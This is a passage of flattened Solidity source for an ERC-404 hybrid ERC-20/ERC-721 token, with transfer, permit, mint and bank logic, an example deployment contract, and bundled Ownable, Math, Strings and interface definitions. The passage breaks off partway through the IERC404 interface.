ERC721 transfers. function erc721TransferFrom( address from_, address to_, uint256 id_ ) public virtual { // Prevent minting tokens from 0x0. if (from_ == address(0)) { revert InvalidSender(); } // Prevent burning tokens to 0x0. if (to_ == address(0)) { revert InvalidRecipient(); } if (from_ != _getOwnerOf(id_)) { revert Unauthorized(); } // Check that the operator is either the sender or approved for the transfer. if ( msg.sender != from_ && !isApprovedForAll[from_][msg.sender] && msg.sender != getApproved[id_] ) { revert Unauthorized(); } // We only need to check ERC-721 transfer exempt status for the recipient // since the sender being ERC-721 transfer exempt means they have already // had their ERC-721s stripped away during the rebalancing process. if (erc721TransferExempt(to_)) { revert RecipientIsERC721TransferExempt(); } // Transfer 1 * units ERC-20 and 1 ERC-721 token. // ERC-721 transfer exemptions handled above. Can't make it to this point if either is transfer exempt. _transferERC20(from_, to_, units); _transferERC721(from_, to_, id_); } /// @notice Function for ERC-20 transfers from. /// @dev This function is recommended for ERC20 transfers function erc20TransferFrom( address from_, address to_, uint256 value_ ) public virtual returns (bool) { // Prevent minting tokens from 0x0. if (from_ == address(0)) { revert InvalidSender(); } // Prevent burning tokens to 0x0. if (to_ == address(0)) { revert InvalidRecipient(); } uint256 allowed = allowance[from_][msg.sender]; // Check that the operator has sufficient allowance. if (allowed != type(uint256).max) { allowance[from_][msg.sender] = allowed - value_; } // Transferring ERC-20s directly requires the _transferERC20WithERC721 function. // Handles ERC-721 exemptions internally. return _transferERC20WithERC721(from_, to_, value_); } /// @notice Function for ERC-20 transfers. /// @dev This function assumes the operator is attempting to transfer as ERC-20 /// given this function is only supported on the ERC-20 interface. /// Treats even large amounts that are valid ERC-721 ids as ERC-20s. function transfer(address to_, uint256 value_) public virtual returns (bool) { // Prevent burning tokens to 0x0. if (to_ == address(0)) { revert InvalidRecipient(); } // Transferring ERC-20s directly requires the _transferERC20WithERC721 function. // Handles ERC-721 exemptions internally. return _transferERC20WithERC721(msg.sender, to_, value_); } /// @notice Function for ERC-721 transfers with contract support. /// This function only supports moving valid ERC-721 ids, as it does not exist on the ERC-20 /// spec and will revert otherwise. function safeTransferFrom( address from_, address to_, uint256 id_ ) public virtual { safeTransferFrom(from_, to_, id_, ""); } /// @notice Function for ERC-721 transfers with contract support and callback data. /// This function only supports moving valid ERC-721 ids, as it does not exist on the /// ERC-20 spec and will revert otherwise. function safeTransferFrom( address from_, address to_, uint256 id_, bytes memory data_ ) public virtual { if (!_isValidTokenId(id_)) { revert InvalidTokenId(); } transferFrom(from_, to_, id_); if ( to_.code.length != 0 && IERC721Receiver(to_).onERC721Received(msg.sender, from_, id_, data_) != IERC721Receiver.onERC721Received.selector ) { revert UnsafeRecipient(); } } /// @notice Function for EIP-2612 permits (ERC-20 only). /// @dev Providing type(uint256).max for permit value results in an /// unlimited approval that is not deducted from on transfers. function permit( address owner_, address spender_, uint256 value_, uint256 deadline_, uint8 v_, bytes32 r_, bytes32 s_ ) public virtual { if (deadline_ < block.timestamp) { revert PermitDeadlineExpired(); } // permit cannot be used for ERC-721 token approvals, so ensure // the value does not fall within the valid range of ERC-721 token ids. if (_isValidTokenId(value_)) { revert InvalidApproval(); } if (spender_ == address(0)) { revert InvalidSpender(); } unchecked { address recoveredAddress = ecrecover( keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR(), keccak256( abi.encode( keccak256( "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)" ), owner_, spender_, value_, nonces[owner_]++, deadline_ ) ) ) ), v_, r_, s_ ); if (recoveredAddress == address(0) || recoveredAddress != owner_) { revert InvalidSigner(); } allowance[recoveredAddress][spender_] = value_; } emit ERC20Events.Approval(owner_, spender_, value_); } /// @notice Returns domain initial domain separator, or recomputes if chain id is not equal to initial chain id function DOMAIN_SEPARATOR() public view virtual returns (bytes32) { return block.chainid == _INITIAL_CHAIN_ID ? _INITIAL_DOMAIN_SEPARATOR : _computeDomainSeparator(); } function supportsInterface( bytes4 interfaceId ) public view virtual returns (bool) { return interfaceId == type(IERC404).interfaceId || interfaceId == type(IERC165).interfaceId; } /// @notice Function for self-exemption function setSelfERC721TransferExempt(bool state_) public virtual { _setERC721TransferExempt(msg.sender, state_); } /// @notice Function to check if address is transfer exempt function erc721TransferExempt( address target_ ) public view virtual returns (bool) { return target_ == address(0) || _erc721TransferExempt[target_]; } /// @notice For a token token id to be considered valid, it just needs /// to fall within the range of possible token ids, it does not /// necessarily have to be minted yet. function _isValidTokenId(uint256 id_) internal pure returns (bool) { return id_ > ID_ENCODING_PREFIX && id_ != type(uint256).max; } /// @notice Internal function to compute domain separator for EIP-2612 permits function _computeDomainSeparator() internal view virtual returns (bytes32) { return keccak256( abi.encode( keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ), keccak256(bytes(name)), keccak256("1"), block.chainid, address(this) ) ); } /// @notice This is the lowest level ERC-20 transfer function, which /// should be used for both normal ERC-20 transfers as well as minting. /// Note that this function allows transfers to and from 0x0. function _transferERC20( address from_, address to_, uint256 value_ ) internal virtual { // Minting is a special case for which we should not check the balance of // the sender, and we should increase the total supply. if (from_ == address(0)) { totalSupply += value_; } else { // Deduct value from sender's balance. balanceOf[from_] -= value_; } // Update the recipient's balance. // Can be unchecked because on mint, adding to totalSupply is checked, and on transfer balance deduction is checked. unchecked { balanceOf[to_] += value_; } emit ERC20Events.Transfer(from_, to_, value_); } /// @notice Consolidated record keeping function for transferring ERC-721s. /// @dev Assign the token to the new owner, and remove from the old owner. /// Note that this function allows transfers to and from 0x0. /// Does not handle ERC-721 exemptions. function _transferERC721( address from_, address to_, uint256 id_ ) internal virtual { // If this is not a mint, handle record keeping for transfer from previous owner. if (from_ != address(0)) { // On transfer of an NFT, any previous approval is reset. delete getApproved[id_]; uint256 updatedId = _owned[from_][_owned[from_].length - 1]; if (updatedId != id_) { uint256 updatedIndex = _getOwnedIndex(id_); // update _owned for sender _owned[from_][updatedIndex] = updatedId; // update index for the moved id _setOwnedIndex(updatedId, updatedIndex); } // pop _owned[from_].pop(); } // Check if this is a burn. if (to_ != address(0)) { // If not a burn, update the owner of the token to the new owner. // Update owner of the token to the new owner. _setOwnerOf(id_, to_); // Push token onto the new owner's stack. _owned[to_].push(id_); // Update index for new owner's stack. _setOwnedIndex(id_, _owned[to_].length - 1); } else { // If this is a burn, reset the owner of the token to 0x0 by deleting the token from _ownedData. delete _ownedData[id_]; } emit ERC721Events.Transfer(from_, to_, id_); } /// @notice Internal function for ERC-20 transfers. Also handles any ERC-721 transfers that may be required. // Handles ERC-721 exemptions. function _transferERC20WithERC721( address from_, address to_, uint256 value_ ) internal virtual returns (bool) { uint256 erc20BalanceOfSenderBefore = erc20BalanceOf(from_); uint256 erc20BalanceOfReceiverBefore = erc20BalanceOf(to_); _transferERC20(from_, to_, value_); // Preload for gas savings on branches bool isFromERC721TransferExempt = erc721TransferExempt(from_); bool isToERC721TransferExempt = erc721TransferExempt(to_); // Skip _withdrawAndStoreERC721 and/or _retrieveOrMintERC721 for ERC-721 transfer exempt addresses // 1) to save gas // 2) because ERC-721 transfer exempt addresses won't always have/need ERC-721s corresponding to their ERC20s. if (isFromERC721TransferExempt && isToERC721TransferExempt) { // Case 1) Both sender and recipient are ERC-721 transfer exempt. No ERC-721s need to be transferred. // NOOP. } else if (isFromERC721TransferExempt) { // Case 2) The sender is ERC-721 transfer exempt, but the recipient is not. Contract should not attempt // to transfer ERC-721s from the sender, but the recipient should receive ERC-721s // from the bank/minted for any whole number increase in their balance. // Only cares about whole number increments. uint256 tokensToRetrieveOrMint = (balanceOf[to_] / units) - (erc20BalanceOfReceiverBefore / units); for (uint256 i = 0; i < tokensToRetrieveOrMint; ) { _retrieveOrMintERC721(to_); unchecked { ++i; } } } else if (isToERC721TransferExempt) { // Case 3) The sender is not ERC-721 transfer exempt, but the recipient is. Contract should attempt // to withdraw and store ERC-721s from the sender, but the recipient should not // receive ERC-721s from the bank/minted. // Only cares about whole number increments. uint256 tokensToWithdrawAndStore = (erc20BalanceOfSenderBefore / units) - (balanceOf[from_] / units); for (uint256 i = 0; i < tokensToWithdrawAndStore; ) { _withdrawAndStoreERC721(from_); unchecked { ++i; } } } else { // Case 4) Neither the sender nor the recipient are ERC-721 transfer exempt. // Strategy: // 1. First deal with the whole tokens. These are easy and will just be transferred. // 2. Look at the fractional part of the value: // a) If it causes the sender to lose a whole token that was represented by an NFT due to a // fractional part being transferred, withdraw and store an additional NFT from the sender. // b) If it causes the receiver to gain a whole new token that should be represented by an NFT // due to receiving a fractional part that completes a whole token, retrieve or mint an NFT to the recevier. // Whole tokens worth of ERC-20s get transferred as ERC-721s without any burning/minting. uint256 nftsToTransfer = value_ / units; for (uint256 i = 0; i < nftsToTransfer; ) { // Pop from sender's ERC-721 stack and transfer them (LIFO) uint256 indexOfLastToken = _owned[from_].length - 1; uint256 tokenId = _owned[from_][indexOfLastToken]; _transferERC721(from_, to_, tokenId); unchecked { ++i; } } // If the transfer changes either the sender or the recipient's holdings from a fractional to a non-fractional // amount (or vice versa), adjust ERC-721s. // First check if the send causes the sender to lose a whole token that was represented by an ERC-721 // due to a fractional part being transferred. // // Process: // Take the difference between the whole number of tokens before and after the transfer for the sender. // If that difference is greater than the number of ERC-721s transferred (whole units), then there was // an additional ERC-721 lost due to the fractional portion of the transfer. // If this is a self-send and the before and after balances are equal (not always the case but often), // then no ERC-721s will be lost here. if ( erc20BalanceOfSenderBefore / units - erc20BalanceOf(from_) / units > nftsToTransfer ) { _withdrawAndStoreERC721(from_); } // Then, check if the transfer causes the receiver to gain a whole new token which requires gaining // an additional ERC-721. // // Process: // Take the difference between the whole number of tokens before and after the transfer for the recipient. // If that difference is greater than the number of ERC-721s transferred (whole units), then there was // an additional ERC-721 gained due to the fractional portion of the transfer. // Again, for self-sends where the before and after balances are equal, no ERC-721s will be gained here. if ( erc20BalanceOf(to_) / units - erc20BalanceOfReceiverBefore / units > nftsToTransfer ) { _retrieveOrMintERC721(to_); } } return true; } /// @notice Internal function for ERC20 minting /// @dev This function will allow minting of new ERC20s. /// If mintCorrespondingERC721s_ is true, and the recipient is not ERC-721 exempt, it will /// also mint the corresponding ERC721s. /// Handles ERC-721 exemptions. function _mintERC20(address to_, uint256 value_) internal virtual { /// You cannot mint to the zero address (you can't mint and immediately burn in the same transfer). if (to_ == address(0)) { revert InvalidRecipient(); } if (totalSupply + value_ > ID_ENCODING_PREFIX) { revert MintLimitReached(); } _transferERC20WithERC721(address(0), to_, value_); } /// @notice Internal function for ERC-721 minting and retrieval from the bank. /// @dev This function will allow minting of new ERC-721s up to the total fractional supply. It will /// first try to pull from the bank, and if the bank is empty, it will mint a new token. /// Does not handle ERC-721 exemptions. function _retrieveOrMintERC721(address to_) internal virtual { if (to_ == address(0)) { revert InvalidRecipient(); } uint256 id; if (!_storedERC721Ids.empty()) { // If there are any tokens in the bank, use those first. // Pop off the end of the queue (FIFO). id = _storedERC721Ids.popBack(); } else { // Otherwise, mint a new token, should not be able to go over the total fractional supply. ++minted; // Reserve max uint256 for approvals if (minted == type(uint256).max) { revert MintLimitReached(); } id = ID_ENCODING_PREFIX + minted; } address erc721Owner = _getOwnerOf(id); // The token should not already belong to anyone besides 0x0 or this contract. // If it does, something is wrong, as this should never happen. if (erc721Owner != address(0)) { revert AlreadyExists(); } // Transfer the token to the recipient, either transferring from the contract's bank or minting. // Does not handle ERC-721 exemptions. _transferERC721(erc721Owner, to_, id); } /// @notice Internal function for ERC-721 deposits to bank (this contract). /// @dev This function will allow depositing of ERC-721s to the bank, which can be retrieved by future minters. // Does not handle ERC-721 exemptions. function _withdrawAndStoreERC721(address from_) internal virtual { if (from_ == address(0)) { revert InvalidSender(); } // Retrieve the latest token added to the owner's stack (LIFO). uint256 id = _owned[from_][_owned[from_].length - 1]; // Transfer to 0x0. // Does not handle ERC-721 exemptions. _transferERC721(from_, address(0), id); // Record the token in the contract's bank queue. _storedERC721Ids.pushFront(id); } /// @notice Initialization function to set pairs / etc, saving gas by avoiding mint / burn on unnecessary targets function _setERC721TransferExempt( address target_, bool state_ ) internal virtual { if (target_ == address(0)) { revert InvalidExemption(); } // Adjust the ERC721 balances of the target to respect exemption rules. // Despite this logic, it is still recommended practice to exempt prior to the target // having an active balance. if (state_) { _clearERC721Balance(target_); } else { _reinstateERC721Balance(target_); } _erc721TransferExempt[target_] = state_; } /// @notice Function to reinstate balance on exemption removal function _reinstateERC721Balance(address target_) private { uint256 expectedERC721Balance = erc20BalanceOf(target_) / units; uint256 actualERC721Balance = erc721BalanceOf(target_); for (uint256 i = 0; i < expectedERC721Balance - actualERC721Balance; ) { // Transfer ERC721 balance in from pool _retrieveOrMintERC721(target_); unchecked { ++i; } } } /// @notice Function to clear balance on exemption inclusion function _clearERC721Balance(address target_) private { uint256 erc721Balance = erc721BalanceOf(target_); for (uint256 i = 0; i < erc721Balance; ) { // Transfer out ERC721 balance _withdrawAndStoreERC721(target_); unchecked { ++i; } } } function _getOwnerOf( uint256 id_ ) internal view virtual returns (address ownerOf_) { uint256 data = _ownedData[id_]; assembly { ownerOf_ := and(data, _BITMASK_ADDRESS) } } function _setOwnerOf(uint256 id_, address owner_) internal virtual { uint256 data = _ownedData[id_]; assembly { data := add( and(data, _BITMASK_OWNED_INDEX), and(owner_, _BITMASK_ADDRESS) ) } _ownedData[id_] = data; } function _getOwnedIndex( uint256 id_ ) internal view virtual returns (uint256 ownedIndex_) { uint256 data = _ownedData[id_]; assembly { ownedIndex_ := shr(160, data) } } function _setOwnedIndex(uint256 id_, uint256 index_) internal virtual { uint256 data = _ownedData[id_]; if (index_ > _BITMASK_OWNED_INDEX >> 160) { revert OwnedIndexOverflow(); } assembly { data := add( and(data, _BITMASK_ADDRESS), and(shl(160, index_), _BITMASK_OWNED_INDEX) ) } _ownedData[id_] = data; } } //SPDX-License-Identifier: MIT contract ERC404Example is Ownable, ERC404 { constructor( string memory name_, string memory symbol_, uint8 decimals_, uint256 maxTotalSupplyERC721_, address initialOwner_, address initialMintRecipient_ ) ERC404(name_, symbol_, decimals_) Ownable(initialOwner_) { // Do not mint the ERC721s to the initial owner, as it's a waste of gas. _setERC721TransferExempt(initialMintRecipient_, true); _mintERC20(initialMintRecipient_, maxTotalSupplyERC721_ * units); } function tokenURI(uint256 id_) public pure override returns (string memory) { return string.concat("https://example.com/token/", Strings.toString(id_)); } function setERC721TransferExempt( address account_, bool value_ ) external onlyOwner { _setERC721TransferExempt(account_, value_); } }
pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } function _contextSuffixLength() internal view virtual returns (uint256) { return 0; } } abstract contract Ownable is Context { address private _owner; /** * @dev The caller account is not authorized to perform an operation. */ error OwnableUnauthorizedAccount(address account); /** * @dev The owner is not a valid owner account. (eg. `address(0)`) */ error OwnableInvalidOwner(address owner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the address provided by the deployer as the initial owner. */ constructor(address initialOwner) { if (initialOwner == address(0)) { revert OwnableInvalidOwner(address(0)); } _transferOwnership(initialOwner); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { if (owner() != _msgSender()) { revert OwnableUnauthorizedAccount(_msgSender()); } } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby disabling any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { if (newOwner == address(0)) { revert OwnableInvalidOwner(address(0)); } _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } library Math { /** * @dev Muldiv operation overflow. */ error MathOverflowedMulDiv(); enum Rounding { Floor, // Toward negative infinity Ceil, // Toward positive infinity Trunc, // Toward zero Expand // Away from zero } /** * @dev Returns the addition of two unsigned integers, with an overflow flag. */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the subtraction of two unsigned integers, with an overflow flag. */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a > b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow. return (a & b) + (a ^ b) / 2; } /** * @dev Returns the ceiling of the division of two numbers. * * This differs from standard division with `/` in that it rounds towards infinity instead * of rounding towards zero. */ function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) { if (b == 0) { // Guarantee the same behavior as in a regular Solidity division. return a / b; } // (a + b - 1) / b can overflow on addition, so we distribute. return a == 0 ? 0 : (a - 1) / b + 1; } /** * @notice Calculates floor(x * y / denominator) with full precision. Throws if result overflows a uint256 or * denominator == 0. * @dev Original credit to Remco Bloemen under MIT license (https://xn--2-umb.com/21/muldiv) with further edits by * Uniswap Labs also under MIT license. */ function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) { unchecked { // 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use // use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256 // variables such that product = prod1 * 2^256 + prod0. uint256 prod0 = x * y; // Least significant 256 bits of the product uint256 prod1; // Most significant 256 bits of the product assembly { let mm := mulmod(x, y, not(0)) prod1 := sub(sub(mm, prod0), lt(mm, prod0)) } // Handle non-overflow cases, 256 by 256 division. if (prod1 == 0) { // Solidity will revert if denominator == 0, unlike the div opcode on its own. // The surrounding unchecked block does not change this fact. // See https://docs.soliditylang.org/en/latest/control-structures.html#checked-or-unchecked-arithmetic. return prod0 / denominator; } // Make sure the result is less than 2^256. Also prevents denominator == 0. if (denominator <= prod1) { revert MathOverflowedMulDiv(); } /////////////////////////////////////////////// // 512 by 256 division. /////////////////////////////////////////////// // Make division exact by subtracting the remainder from [prod1 prod0]. uint256 remainder; assembly { // Compute remainder using mulmod. remainder := mulmod(x, y, denominator) // Subtract 256 bit number from 512 bit number. prod1 := sub(prod1, gt(remainder, prod0)) prod0 := sub(prod0, remainder) } // Factor powers of two out of denominator and compute largest power of two divisor of denominator. // Always >= 1. See https://cs.stackexchange.com/q/138556/92363. uint256 twos = denominator & (0 - denominator); assembly { // Divide denominator by twos. denominator := div(denominator, twos) // Divide [prod1 prod0] by twos. prod0 := div(prod0, twos) // Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one. twos := add(div(sub(0, twos), twos), 1) } // Shift in bits from prod1 into prod0. prod0 |= prod1 * twos; // Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such // that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for // four bits. That is, denominator * inv = 1 mod 2^4. uint256 inverse = (3 * denominator) ^ 2; // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also // works in modular arithmetic, doubling the correct bits in each step. inverse *= 2 - denominator * inverse; // inverse mod 2^8 inverse *= 2 - denominator * inverse; // inverse mod 2^16 inverse *= 2 - denominator * inverse; // inverse mod 2^32 inverse *= 2 - denominator * inverse; // inverse mod 2^64 inverse *= 2 - denominator * inverse; // inverse mod 2^128 inverse *= 2 - denominator * inverse; // inverse mod 2^256 // Because the division is now exact we can divide by multiplying with the modular inverse of denominator. // This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is // less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1 // is no longer required. result = prod0 * inverse; return result; } } /** * @notice Calculates x * y / denominator with full precision, following the selected rounding direction. */ function mulDiv(uint256 x, uint256 y, uint256 denominator, Rounding rounding) internal pure returns (uint256) { uint256 result = mulDiv(x, y, denominator); if (unsignedRoundsUp(rounding) && mulmod(x, y, denominator) > 0) { result += 1; } return result; } /** * @dev Returns the square root of a number. If the number is not a perfect square, the value is rounded * towards zero. * * Inspired by Henry S. Warren, Jr.'s "Hacker's Delight" (Chapter 11). */ function sqrt(uint256 a) internal pure returns (uint256) { if (a == 0) { return 0; } // For our first guess, we get the biggest power of 2 which is smaller than the square root of the target. // // We know that the "msb" (most significant bit) of our target number `a` is a power of 2 such that we have // `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`. // // This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)` // → `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))` // → `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)` // // Consequently, `2**(log2(a) / 2)` is a good first approximation of `sqrt(a)` with at least 1 correct bit. uint256 result = 1 << (log2(a) >> 1); // At this point `result` is an estimation with one bit of precision. We know the true value is a uint128, // since it is the square root of a uint256. Newton's method converges quadratically (precision doubles at // every iteration). We thus need at most 7 iteration to turn our partial result with one bit of precision // into the expected uint128 result. unchecked { result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; return min(result, a / result); } } /** * @notice Calculates sqrt(a), following the selected rounding direction. */ function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) { unchecked { uint256 result = sqrt(a); return result + (unsignedRoundsUp(rounding) && result * result < a ? 1 : 0); } } /** * @dev Return the log in base 2 of a positive value rounded towards zero. * Returns 0 if given 0. */ function log2(uint256 value) internal pure returns (uint256) { uint256 result = 0; unchecked { if (value >> 128 > 0) { value >>= 128; result += 128; } if (value >> 64 > 0) { value >>= 64; result += 64; } if (value >> 32 > 0) { value >>= 32; result += 32; } if (value >> 16 > 0) { value >>= 16; result += 16; } if (value >> 8 > 0) { value >>= 8; result += 8; } if (value >> 4 > 0) { value >>= 4; result += 4; } if (value >> 2 > 0) { value >>= 2; result += 2; } if (value >> 1 > 0) { result += 1; } } return result; } /** * @dev Return the log in base 2, following the selected rounding direction, of a positive value. * Returns 0 if given 0. */ function log2(uint256 value, Rounding rounding) internal pure returns (uint256) { unchecked { uint256 result = log2(value); return result + (unsignedRoundsUp(rounding) && 1 << result < value ? 1 : 0); } } /** * @dev Return the log in base 10 of a positive value rounded towards zero. * Returns 0 if given 0. */ function log10(uint256 value) internal pure returns (uint256) { uint256 result = 0; unchecked { if (value >= 10 ** 64) { value /= 10 ** 64; result += 64; } if (value >= 10 ** 32) { value /= 10 ** 32; result += 32; } if (value >= 10 ** 16) { value /= 10 ** 16; result += 16; } if (value >= 10 ** 8) { value /= 10 ** 8; result += 8; } if (value >= 10 ** 4) { value /= 10 ** 4; result += 4; } if (value >= 10 ** 2) { value /= 10 ** 2; result += 2; } if (value >= 10 ** 1) { result += 1; } } return result; } /** * @dev Return the log in base 10, following the selected rounding direction, of a positive value. * Returns 0 if given 0. */ function log10(uint256 value, Rounding rounding) internal pure returns (uint256) { unchecked { uint256 result = log10(value); return result + (unsignedRoundsUp(rounding) && 10 ** result < value ? 1 : 0); } } /** * @dev Return the log in base 256 of a positive value rounded towards zero. * Returns 0 if given 0. * * Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string. */ function log256(uint256 value) internal pure returns (uint256) { uint256 result = 0; unchecked { if (value >> 128 > 0) { value >>= 128; result += 16; } if (value >> 64 > 0) { value >>= 64; result += 8; } if (value >> 32 > 0) { value >>= 32; result += 4; } if (value >> 16 > 0) { value >>= 16; result += 2; } if (value >> 8 > 0) { result += 1; } } return result; } /** * @dev Return the log in base 256, following the selected rounding direction, of a positive value. * Returns 0 if given 0. */ function log256(uint256 value, Rounding rounding) internal pure returns (uint256) { unchecked { uint256 result = log256(value); return result + (unsignedRoundsUp(rounding) && 1 << (result << 3) < value ? 1 : 0); } } /** * @dev Returns whether a provided rounding mode is considered rounding up for unsigned integers. */ function unsignedRoundsUp(Rounding rounding) internal pure returns (bool) { return uint8(rounding) % 2 == 1; } } library SignedMath { /** * @dev Returns the largest of two signed numbers. */ function max(int256 a, int256 b) internal pure returns (int256) { return a > b ? a : b; } /** * @dev Returns the smallest of two signed numbers. */ function min(int256 a, int256 b) internal pure returns (int256) { return a < b ? a : b; } /** * @dev Returns the average of two signed numbers without overflow. * The result is rounded towards zero. */ function average(int256 a, int256 b) internal pure returns (int256) { // Formula from the book "Hacker's Delight" int256 x = (a & b) + ((a ^ b) >> 1); return x + (int256(uint256(x) >> 255) & (a ^ b)); } /** * @dev Returns the absolute unsigned value of a signed value. */ function abs(int256 n) internal pure returns (uint256) { unchecked { // must be unchecked in order to support `n = type(int256).min` return uint256(n >= 0 ? n : -n); } } } library Strings { bytes16 private constant HEX_DIGITS = "0123456789abcdef"; uint8 private constant ADDRESS_LENGTH = 20; /** * @dev The `value` string doesn't fit in the specified `length`. */ error StringsInsufficientHexLength(uint256 value, uint256 length); /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { unchecked { uint256 length = Math.log10(value) + 1; string memory buffer = new string(length); uint256 ptr; /// @solidity memory-safe-assembly assembly { ptr := add(buffer, add(32, length)) } while (true) { ptr--; /// @solidity memory-safe-assembly assembly { mstore8(ptr, byte(mod(value, 10), HEX_DIGITS)) } value /= 10; if (value == 0) break; } return buffer; } } /** * @dev Converts a `int256` to its ASCII `string` decimal representation. */ function toStringSigned(int256 value) internal pure returns (string memory) { return string.concat(value < 0 ? "-" : "", toString(SignedMath.abs(value))); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { unchecked { return toHexString(value, Math.log256(value) + 1); } } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { uint256 localValue = value; bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = HEX_DIGITS[localValue & 0xf]; localValue >>= 4; } if (localValue != 0) { revert StringsInsufficientHexLength(value, length); } return string(buffer); } /** * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal * representation. */ function toHexString(address addr) internal pure returns (string memory) { return toHexString(uint256(uint160(addr)), ADDRESS_LENGTH); } /** * @dev Returns true if the two strings are equal. */ function equal(string memory a, string memory b) internal pure returns (bool) { return bytes(a).length == bytes(b).length && keccak256(bytes(a)) == keccak256(bytes(b)); } } interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be * reverted. * * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } interface IERC404 { error NotFound(); error InvalidTokenId(); error AlreadyExists(); error InvalidRecipient(); error InvalidSender(); error InvalidSpender(); error InvalidOperator(); error UnsafeRecipient(); error RecipientIsERC721TransferExempt(); error Unauthorized(); error InsufficientAllowance(); error DecimalsTooLow(); error PermitDeadlineExpired(); error InvalidSigner(); error InvalidApproval(); error OwnedIndexOverflow(); error MintLimitReached(); error InvalidExemption(); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function erc20TotalSupply() external view returns (uint256); function erc721TotalSupply() external view returns (uint256); function balanceOf(address owner_) external view returns (uint256); function erc721BalanceOf(address owner_) external view returns (uint256); function erc20BalanceOf(address owner_) external view returns (uint256); function erc721TransferExempt(address account_) external view returns (bool); function isApprovedForAll( address owner_, address operator_ ) external view returns (bool); function allowance( address owner_, address spender_ ) external view returns (uint256); function owned(address owner_) external view returns (uint256[] memory); function ownerOf(uint256 id_) external view returns (address erc721Owner); function tokenURI(uint256 id_) external view returns (string memory); function approve( address spender_, uint256 valueOrId_ ) external 